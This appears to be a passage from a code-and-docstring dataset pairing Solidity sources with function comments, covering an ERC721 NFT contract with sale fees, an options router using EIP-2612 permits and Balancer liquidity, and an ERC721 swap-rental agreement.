_allTokensIndex[tokenId] = 0;
}
}
library UintLibrary {
function toString(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
library StringLibrary {
using UintLibrary for uint256;
function append(string memory _a, string memory _b)
internal
pure
returns (string memory)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory bab = new bytes(_ba.length + _bb.length);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function append(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory bbb = new bytes(_ba.length + _bb.length + _bc.length);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) bbb[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) bbb[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) bbb[k++] = _bc[i];
return string(bbb);
}
function recover(
string memory message,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
bytes memory msgBytes = bytes(message);
bytes memory fullMessage =
concat(
bytes("\x19Ethereum Signed Message:\n"),
bytes(msgBytes.length.toString()),
msgBytes,
new bytes(0),
new bytes(0),
new bytes(0),
new bytes(0)
);
return ecrecover(keccak256(fullMessage), v, r, s);
}
function concat(
bytes memory _ba,
bytes memory _bb,
bytes memory _bc,
bytes memory _bd,
bytes memory _be,
bytes memory _bf,
bytes memory _bg
) internal pure returns (bytes memory) {
bytes memory resultBytes =
new bytes(
_ba.length +
_bb.length +
_bc.length +
_bd.length +
_be.length +
_bf.length +
_bg.length
);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) resultBytes[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) resultBytes[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) resultBytes[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) resultBytes[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) resultBytes[k++] = _be[i];
for (uint256 i = 0; i < _bf.length; i++) resultBytes[k++] = _bf[i];
for (uint256 i = 0; i < _bg.length; i++) resultBytes[k++] = _bg[i];
return resultBytes;
}
}
contract HasContractURI is ERC165 {
string public contractURI;
/*
* bytes4(keccak256('contractURI()')) == 0xe8a3d485
*/
bytes4 private constant _INTERFACE_ID_CONTRACT_URI = 0xe8a3d485;
constructor(string memory _contractURI) public {
contractURI = _contractURI;
_registerInterface(_INTERFACE_ID_CONTRACT_URI);
}
/**
* @dev Internal function to set the contract URI
* @param _contractURI string URI prefix to assign
*/
function _setContractURI(string memory _contractURI) internal {
contractURI = _contractURI;
}
}
contract HasTokenURI {
using StringLibrary for string;
//Token URI prefix
string public tokenURIPrefix;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
constructor(string memory _tokenURIPrefix) public {
tokenURIPrefix = _tokenURIPrefix;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function _tokenURI(uint256 tokenId) internal view returns (string memory) {
return tokenURIPrefix.append(_tokenURIs[tokenId]);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to set the token URI prefix.
* @param _tokenURIPrefix string URI prefix to assign
*/
function _setTokenURIPrefix(string memory _tokenURIPrefix) internal {
tokenURIPrefix = _tokenURIPrefix;
}
function _clearTokenURI(uint256 tokenId) internal {
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract HasSecondarySaleFees is ERC165 {
event SecondarySaleFees(
uint256 tokenId,
address[] recipients,
uint256[] bps
);
/*
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
*
* => 0x0ebd4c7f ^ 0xb9c4d9fb == 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_FEES = 0xb7799584;
constructor() public {
_registerInterface(_INTERFACE_ID_FEES);
}
function getFeeRecipients(uint256 id)
public
view
returns (address payable[] memory);
function getFeeBps(uint256 id) public view returns (uint256[] memory);
}
/**
* @title Full ERC721 Token with support for tokenURIPrefix
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Base is
HasSecondarySaleFees,
ERC721,
HasContractURI,
HasTokenURI,
ERC721Enumerable
{
// Token name
string public name;
// Token symbol
string public symbol;
struct Fee {
address payable recipient;
uint256 value;
}
// id => fees
mapping(uint256 => Fee[]) public fees;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor(
string memory _name,
string memory _symbol,
string memory contractURI,
string memory _tokenURIPrefix
) public HasContractURI(contractURI) HasTokenURI(_tokenURIPrefix) {
name = _name;
symbol = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
function getFeeRecipients(uint256 id)
public
view
returns (address payable[] memory)
{
Fee[] memory _fees = fees[id];
address payable[] memory result = new address payable[](_fees.length);
for (uint256 i = 0; i < _fees.length; i++) {
result[i] = _fees[i].recipient;
}
return result;
}
function getFeeBps(uint256 id) public view returns (uint256[] memory) {
Fee[] memory _fees = fees[id];
uint256[] memory result = new uint256[](_fees.length);
for (uint256 i = 0; i < _fees.length; i++) {
result[i] = _fees[i].value;
}
return result;
}
function _mint(
address to,
uint256 tokenId,
Fee[] memory _fees
) internal {
_mint(to, tokenId);
address[] memory recipients = new address[](_fees.length);
uint256[] memory bps = new uint256[](_fees.length);
for (uint256 i = 0; i < _fees.length; i++) {
require(
_fees[i].recipient != address(0x0),
"Recipient should be present"
);
require(_fees[i].value != 0, "Fee value should be positive");
fees[tokenId].push(_fees[i]);
recipients[i] = _fees[i].recipient;
bps[i] = _fees[i].value;
}
if (_fees.length > 0) {
emit SecondarySaleFees(tokenId, recipients, bps);
}
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
return super._tokenURI(tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
super._setTokenURI(tokenId, uri);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_clearTokenURI(tokenId);
}
}
/**
* @title Kiwie1001Toekn
*/
contract Kiwie1001 is
Ownable,
IERC721,
IERC721Metadata,
ERC721Burnable,
ERC721Base
{
uint public _currentIdx;
//mapping(uint256 => bool) public isAlive;
//mapping(uint256 => string) public aliveIPFSHash;
//mapping(uint256 => string) public ghostIPFSHash;
constructor()
public ERC721Base("Kiwie1001", "KIWIE1001", "https://api-mainnet.rarible.com/contractMetadata/{address}", "https://gateway.pinata.cloud/ipfs/")
{
transferOwnership(msg.sender);
_currentIdx = 0;
}
//Fees = % * 100. So 5% = 500
function mint(string memory tokenURI, Fee[] memory _fees) onlyOwner public
{
_currentIdx = _currentIdx + 1;
uint256 tokenId = _currentIdx;
_mint(msg.sender, tokenId, _fees);
_setTokenURI(tokenId, tokenURI);
}
function setTokenURI(uint256 tokenId, string memory tokenURI) public onlyOwner
{
_setTokenURI(tokenId, tokenURI);
}
function setTokenURIPrefix(string memory tokenURIPrefix) public onlyOwner
{
_setTokenURIPrefix(tokenURIPrefix);
}
function setContractURI(string memory contractURI) public onlyOwner
{
_setContractURI(contractURI);
}
}
|
Burns a specific ERC721 token. tokenId uint256 id of the ERC721 token to be burned./solhint-disable-next-line max-line-length
|
function burn(uint256 tokenId) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721Burnable: caller is not owner nor approved"
);
_burn(tokenId);
}
| 25,951
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
pragma abicoder v2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/drafts/IERC20Permit.sol";
import {IOilerRegistry} from "./interfaces/IOilerRegistry.sol";
import {IOilerOptionBase} from "./interfaces/IOilerOptionBase.sol";
import {IOilerOptionsRouter} from "./interfaces/IOilerOptionsRouter.sol";
import {IBRouter} from "./interfaces/IBRouter.sol";
import {IBPool} from "./interfaces/IBPool.sol";
contract OilerOptionsRouter is IOilerOptionsRouter {
IOilerRegistry public immutable override registry;
IBRouter public immutable override bRouter;
constructor(IOilerRegistry _registry, IBRouter _bRouter) {
registry = _registry;
bRouter = _bRouter;
}
modifier onlyRegistry() {
require(
address(registry) == msg.sender,
"OilerOptionsRouter.setUnlimitedApprovals, only the registry can set an unlimited approval"
);
_;
}
function write(IOilerOptionBase _option, uint256 _amount) external override {
_writeOnBehalfOf(_option, _amount);
}
function writeAndAddLiquidity(
IOilerOptionBase _option,
uint256 _amount,
uint256 _liquidityProviderCollateralAmount
) external override {
_writeOnBehalfOfAndTransferWriterRights(_option, _amount);
_addLiquidity(_option, _amount, _liquidityProviderCollateralAmount);
}
// Permittable versions of the above:
/**
* @notice permit signed deadline must be max uint.
*/
function write(
IOilerOptionBase _option,
uint256 _amount,
Permit calldata _permit
) external override {
_writeOnBehalfOfAndTransferWriterRightsPermittable(_option, _amount, _permit);
}
function writeAndAddLiquidity(
IOilerOptionBase _option,
uint256 _amount,
uint256 _liquidityProviderCollateralAmount,
Permit calldata _writeOnBehalfOfPermit,
Permit calldata _liquidityAddPermit
) external override {
_writePermittable(_option, _amount, _writeOnBehalfOfPermit);
_addLiquidityPermittable(_option, _amount, _liquidityProviderCollateralAmount, _liquidityAddPermit);
}
// Restricted functions: onlyRegistry
// This is supposed to be called by the registry when new option is being registered
function setUnlimitedApprovals(IOilerOptionBase _option) external override onlyRegistry {
_option.collateralInstance().approve(address(_option), type(uint256).max);
_option.collateralInstance().approve(address(bRouter), type(uint256).max);
_option.approve(address(bRouter), type(uint256).max);
}
// Internal functions below:
/// @dev writes options where:
/// @dev 1. router receives the options
/// @dev 2. router receives writer rights
function _write(IOilerOptionBase _option, uint256 _amount) internal {
require(
_option.collateralInstance().transferFrom(msg.sender, address(this), _amount),
"OilerOptionsRouter.write, ERC20 transfer failed"
);
_option.write(_amount);
}
/// @dev writes options where:
/// @dev 1. original msg.sender receives the options
/// @dev 2. router receives writer rights
function _writeOnBehalfOf(IOilerOptionBase _option, uint256 _amount) internal {
require(
_option.collateralInstance().transferFrom(msg.sender, address(this), _amount),
"OilerOptionsRouter.write, ERC20 transfer failed"
);
_option.write(_amount, msg.sender);
}
/// @dev writes options where:
/// @dev 1. router receives the options
/// @dev 2. original msg.sender receives writer rights
/// @dev the options most likely will be added to LP and LP tokens will be sent back to msg.sender
function _writeOnBehalfOfAndTransferWriterRights(IOilerOptionBase _option, uint256 _amount) internal {
require(
_option.collateralInstance().transferFrom(msg.sender, address(this), _amount),
"OilerOptionsRouter.write, ERC20 transfer failed"
);
_option.write(_amount, msg.sender, address(this));
}
function _addLiquidity(
IOilerOptionBase _option,
uint256 _optionsAmount,
uint256 _liquidityProviderCollateralAmount
) internal {
require(
_option.collateralInstance().transferFrom(msg.sender, address(this), _liquidityProviderCollateralAmount),
"OilerOptionsRouter:addLiquidity, ERC20 transfer failed"
);
bRouter.addLiquidity(
address(_option),
address(_option.collateralInstance()),
_optionsAmount,
_liquidityProviderCollateralAmount
);
// Transfer back to msg.sender returned tokens and LP tokens.
require(
_option.transfer(msg.sender, _option.balanceOf(address(this))),
"OilerOptionsRouter:addLiquidity, options return transfer failed"
);
require(
_option.collateralInstance().transfer(msg.sender, _option.collateralInstance().balanceOf(address(this))),
"OilerOptionsRouter:addLiquidity, collateral return transfer failed"
);
IBPool pool = bRouter.getPoolByTokens(address(_option), address(_option.collateralInstance()));
require(
pool.transfer(msg.sender, pool.balanceOf(address(this))),
"OilerOptionsRouter:addLiquidity, lbp tokens return failed"
);
}
// TODO verify if is it ok that all 3 functions have same permit
// Permittable versions of the above:
function _writeOnBehalfOfAndTransferWriterRightsPermittable(
IOilerOptionBase _option,
uint256 _amount,
Permit memory _permit
) internal {
IERC20Permit(address(_option.collateralInstance())).permit(
msg.sender,
address(this),
_amount,
type(uint256).max,
_permit.v,
_permit.r,
_permit.s
);
_writeOnBehalfOfAndTransferWriterRights(_option, _amount);
}
function _writeOnBehalfOfPermittable(
IOilerOptionBase _option,
uint256 _amount,
Permit memory _permit
) internal {
IERC20Permit(address(_option.collateralInstance())).permit(
msg.sender,
address(this),
_amount,
type(uint256).max,
_permit.v,
_permit.r,
_permit.s
);
_writeOnBehalfOf(_option, _amount);
}
function _writePermittable(
IOilerOptionBase _option,
uint256 _amount,
Permit memory _permit
) internal {
IERC20Permit(address(_option.collateralInstance())).permit(
msg.sender,
address(this),
_amount,
type(uint256).max,
_permit.v,
_permit.r,
_permit.s
);
_write(_option, _amount);
}
function _addLiquidityPermittable(
IOilerOptionBase _option,
uint256 _optionsAmount,
uint256 _collateralAmount,
Permit memory _permit
) internal {
_option.collateralInstance().permit(
msg.sender,
address(this),
_collateralAmount,
type(uint256).max,
_permit.v,
_permit.r,
_permit.s
);
_addLiquidity(_option, _optionsAmount, _collateralAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import "./IOilerOptionsRouter.sol";
interface IOilerRegistry {
function PUT() external view returns (uint256);
function CALL() external view returns (uint256);
function activeOptions(bytes32 _type) external view returns (address[2] memory);
function archivedOptions(bytes32 _type, uint256 _index) external view returns (address);
function optionTypes(uint256 _index) external view returns (bytes32);
function factories(bytes32 _optionType) external view returns (address);
function optionsRouter() external view returns (IOilerOptionsRouter);
function getOptionTypesLength() external view returns (uint256);
function getOptionTypeAt(uint256 _index) external view returns (bytes32);
function getArchivedOptionsLength(string memory _optionType) external view returns (uint256);
function getArchivedOptionsLength(bytes32 _optionType) external view returns (uint256);
function getOptionTypeFactory(string memory _optionType) external view returns (address);
function getAllArchivedOptionsOfType(string memory _optionType) external view returns (address[] memory);
function getAllArchivedOptionsOfType(bytes32 _optionType) external view returns (address[] memory);
function registerFactory(address factory) external;
function setOptionsTypeFactory(string memory _optionType, address _factory) external;
function registerOption(address _optionAddress, string memory _optionType) external;
function setOptionsRouter(IOilerOptionsRouter _optionsRouter) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Permit} from "@openzeppelin/contracts/drafts/IERC20Permit.sol";
import {IOilerCollateral} from "./IOilerCollateral.sol";
interface IOilerOptionBase is IERC20, IERC20Permit {
function optionType() external view returns (string memory);
function collateralInstance() external view returns (IOilerCollateral);
function isActive() external view returns (bool active);
function hasExpired() external view returns (bool);
function hasBeenExercised() external view returns (bool);
function put() external view returns (bool);
function write(uint256 _amount) external;
function write(uint256 _amount, address _writer) external;
function write(
uint256 _amount,
address _writer,
address _holder
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
pragma abicoder v2;
import "./IOilerOptionBase.sol";
import "./IOilerRegistry.sol";
import "./IBRouter.sol";
interface IOilerOptionsRouter {
// TODO add expiration?
struct Permit {
uint8 v;
bytes32 r;
bytes32 s;
}
function registry() external view returns (IOilerRegistry);
function bRouter() external view returns (IBRouter);
function setUnlimitedApprovals(IOilerOptionBase _option) external;
function write(IOilerOptionBase _option, uint256 _amount) external;
function write(
IOilerOptionBase _option,
uint256 _amount,
Permit calldata _permit
) external;
function writeAndAddLiquidity(
IOilerOptionBase _option,
uint256 _amount,
uint256 _liquidityProviderCollateralAmount
) external;
function writeAndAddLiquidity(
IOilerOptionBase _option,
uint256 _amount,
uint256 _liquidityProviderCollateralAmount,
Permit calldata _writePermit,
Permit calldata _liquidityAddPermit
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import {IBPool} from "./IBPool.sol";
interface IBRouter {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountA,
uint256 amountB
) external returns (uint256 poolTokens);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 poolAmountIn
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline,
uint256 maxPrice
) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
function getPoolByTokens(address tokenA, address tokenB) external view returns (IBPool pool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IBPool {
function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint256 spotPrice);
function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint256 spotPrice);
function swapExactAmountIn(
address tokenIn,
uint256 tokenAmountIn,
address tokenOut,
uint256 minAmountOut,
uint256 maxPrice
) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);
function transferFrom(
address src,
address dst,
uint256 amt
) external returns (bool);
function approve(address dst, uint256 amt) external returns (bool);
function transfer(address dst, uint256 amt) external returns (bool);
function balanceOf(address whom) external view returns (uint256);
function joinPool(uint256 poolAmountOut, uint256[] calldata maxAmountsIn) external;
function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external;
function finalize() external;
function rebind(
address token,
uint256 balance,
uint256 denorm
) external;
function setSwapFee(uint256 swapFee) external;
function setPublicSwap(bool publicSwap) external;
function bind(
address token,
uint256 balance,
uint256 denorm
) external;
function unbind(address token) external;
function gulp(address token) external;
function isBound(address token) external view returns (bool);
function getBalance(address token) external view returns (uint256);
function totalSupply() external view returns (uint256);
function getSwapFee() external view returns (uint256);
function isPublicSwap() external view returns (bool);
function getDenormalizedWeight(address token) external view returns (uint256);
function getTotalDenormalizedWeight() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function EXIT_FEE() external view returns (uint256);
function calcPoolOutGivenSingleIn(
uint256 tokenBalanceIn,
uint256 tokenWeightIn,
uint256 poolSupply,
uint256 totalWeight,
uint256 tokenAmountIn,
uint256 swapFee
) external pure returns (uint256 poolAmountOut);
function calcSingleInGivenPoolOut(
uint256 tokenBalanceIn,
uint256 tokenWeightIn,
uint256 poolSupply,
uint256 totalWeight,
uint256 poolAmountOut,
uint256 swapFee
) external pure returns (uint256 tokenAmountIn);
function calcSingleOutGivenPoolIn(
uint256 tokenBalanceOut,
uint256 tokenWeightOut,
uint256 poolSupply,
uint256 totalWeight,
uint256 poolAmountIn,
uint256 swapFee
) external pure returns (uint256 tokenAmountOut);
function calcPoolInGivenSingleOut(
uint256 tokenBalanceOut,
uint256 tokenWeightOut,
uint256 poolSupply,
uint256 totalWeight,
uint256 tokenAmountOut,
uint256 swapFee
) external pure returns (uint256 poolAmountIn);
function getCurrentTokens() external view returns (address[] memory tokens);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Permit} from "@openzeppelin/contracts/drafts/IERC20Permit.sol";
interface IOilerCollateral is IERC20, IERC20Permit {
function decimals() external view returns (uint8);
}
|
writes options where: 1. router receives the options 2. original msg.sender receives writer rights the options most likely will be added to LP and LP tokens will be sent back to msg.sender
|
function _writeOnBehalfOfAndTransferWriterRights(IOilerOptionBase _option, uint256 _amount) internal {
require(
_option.collateralInstance().transferFrom(msg.sender, address(this), _amount),
"OilerOptionsRouter.write, ERC20 transfer failed"
);
_option.write(_amount, msg.sender, address(this));
}
| 5,934,620
|
pragma solidity ^0.8.0;
import "../../utils/Context.sol";
import "./extensions/IERC721Rental.sol";
import "../../utils/introspection/ERC165.sol";
/// @title An agreement to swap two ERC721 between their respective owners.
/// @dev The tokens being swapped are specified during the contract construction.
/// @notice The swap contract specifies the rental period and the rental expiration time in the constructor.
/// After the expiration time, the contract is considered as invalid and cannot be started.
/// Before it expires, it can be started, and restarted at any time.
contract ERC721SwapRentalAgreement is Context, IERC721RentalAgreement, ERC165 {
enum RentalStatus {
pending,
active
}
struct Token {
IERC721Rental source;
bool approvedForRental;
uint256 tokenId;
}
struct RentalAgreement {
Token token1;
Token token2;
uint40 startTime;
uint40 rentalDuration;
uint40 rentalExpirationTime;
RentalStatus rentalStatus;
}
RentalAgreement public rentalAgreement;
constructor(
IERC721Rental _source1,
IERC721Rental _source2,
uint256 _tokenId1,
uint256 _tokenId2,
uint40 _rentalDuration,
uint40 _rentalExpirationTime
) {
Token memory token1 = Token(_source1, false, _tokenId1);
Token memory token2 = Token(_source2, false, _tokenId2);
require(
_source1.ownerOf(_tokenId1) != _source2.ownerOf(_tokenId2),
"ERC721SwapRentalAgreement: token 1 and token 2 have the same owner"
);
rentalAgreement = RentalAgreement(
token1,
token2,
0,
_rentalDuration,
_rentalExpirationTime,
RentalStatus.pending
);
}
/// Only authorize calls from the two tokens involved in the swap.
modifier onlyErc721Contracts() {
Token memory token1 = rentalAgreement.token1;
Token memory token2 = rentalAgreement.token2;
require(
(_msgSender() == address(token1.source) || (_msgSender() == address(token2.source))),
"ERC721SwapRentalAgreement: only registered erc721 can change state"
);
_;
}
/// @inheritdoc IERC721RentalAgreement
function afterAgreementRemoved(uint256) public view override onlyErc721Contracts {
require(
rentalAgreement.rentalStatus == RentalStatus.pending,
"ERC721SwapRentalAgreement: rental agreement already active"
);
}
/// @notice starts the rental agreement and swap the two tokens between the two owners.
/// Any caller can start the token swap, if the two token owners have approved their token for rental.
/// A swap can be rented again and again until the swap agreement expires.
function startRental() public {
// Before the expiration date.
require(block.timestamp <= rentalAgreement.rentalExpirationTime, "ERC721SwapRentalAgreement: rental expired");
// rental agreement has to be pending.
require(
rentalAgreement.rentalStatus == RentalStatus.pending,
"ERC721SwapRentalAgreement: rental agreement already active"
);
Token memory token1 = rentalAgreement.token1;
Token memory token2 = rentalAgreement.token2;
// Tokens have to be aproved for rental by their owners or approvers.
require(token1.approvedForRental, "ERC721SwapRentalAgreement: token 1 not approved for rental");
require(token2.approvedForRental, "ERC721SwapRentalAgreement: token 2 not approved for rental");
// Start the rental.
rentalAgreement.rentalStatus = RentalStatus.active;
rentalAgreement.startTime = uint40(block.timestamp);
// Swap the tokens.
token1.source.acceptRentalAgreement(token2.source.ownerOf(token2.tokenId), token1.tokenId);
token2.source.acceptRentalAgreement(token1.source.rentedOwnerOf(token1.tokenId), token2.tokenId);
}
/// @inheritdoc IERC721RentalAgreement
function afterRentalStarted(address from, uint256) public view override onlyErc721Contracts {
require(from == address(this));
}
/// @return bool: returns true if the target is the owner or approved or an operator.
function _isOwnerOrApprover(
IERC721Rental source,
uint256 tokenId,
address owner,
address target
) internal view returns (bool) {
return (target == owner || target == source.getApproved(tokenId) || source.isApprovedForAll(owner, target));
}
/// @notice it aims to be called by the two token owners independently to approve their respective token for swap.
function approveRental(IERC721Rental source, uint256 tokenId) external {
Token memory token1 = rentalAgreement.token1;
Token memory token2 = rentalAgreement.token2;
// Only registered sources and tokenIds can be approved.
require(
(source == token1.source) || (source == token2.source),
"ERC721SwapRentalAgreement: token not registered"
);
require(
(tokenId == token1.tokenId) || (tokenId == token2.tokenId),
"ERC721SwapRentalAgreement: invalid token id"
);
// Only tokenId owner or approver can approve the rental.
require(
_isOwnerOrApprover(source, tokenId, source.ownerOf(tokenId), _msgSender()),
"ERC721SwapRentalAgreement: only owner or approver can approve rental agreement"
);
// Clear tokens for rentalal.
if (source == token1.source && tokenId == token1.tokenId) {
token1.approvedForRental = true;
rentalAgreement.token1 = token1;
} else {
token2.approvedForRental = true;
rentalAgreement.token2 = token2;
}
}
/// @notice Stops the swap agreement and transfers back the token to their original owners.
/// It reinitializes the rental agreement state so it can be started over if the agreement isn't expired.
/// This can be called by any caller, after the rental period is over.
function stopRental() public {
require(
rentalAgreement.rentalStatus == RentalStatus.active,
"ERC721SwapRentalAgreement: can only stop active rental"
);
require(
block.timestamp >= rentalAgreement.startTime + rentalAgreement.rentalDuration,
"ERC721SwapRentalAgreement: rental period not finished yet"
);
// Reinitialize the tokens state.
Token memory token1 = rentalAgreement.token1;
Token memory token2 = rentalAgreement.token2;
token1.approvedForRental = false;
token2.approvedForRental = false;
// Reinitialize the rental agreement.
rentalAgreement.token1 = token1;
rentalAgreement.token2 = token2;
rentalAgreement.startTime = 0;
rentalAgreement.rentalStatus = RentalStatus.pending;
// Swap back the tokens.
token1.source.stopRentalAgreement(token1.tokenId);
token2.source.stopRentalAgreement(token2.tokenId);
}
/// @inheritdoc IERC721RentalAgreement
function afterRentalStopped(address from, uint256) public view override onlyErc721Contracts {
require(address(this) == from);
}
}
|
@inheritdoc IERC721RentalAgreement
|
function afterRentalStarted(address from, uint256) public view override onlyErc721Contracts {
require(from == address(this));
}
| 13,080,254
|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.8;
import "./ProtoBufRuntime.sol";
import "./GoogleProtobufAny.sol";
library ExistenceProof {
//struct definition
struct Data {
bytes key;
bytes value;
LeafOp.Data leaf;
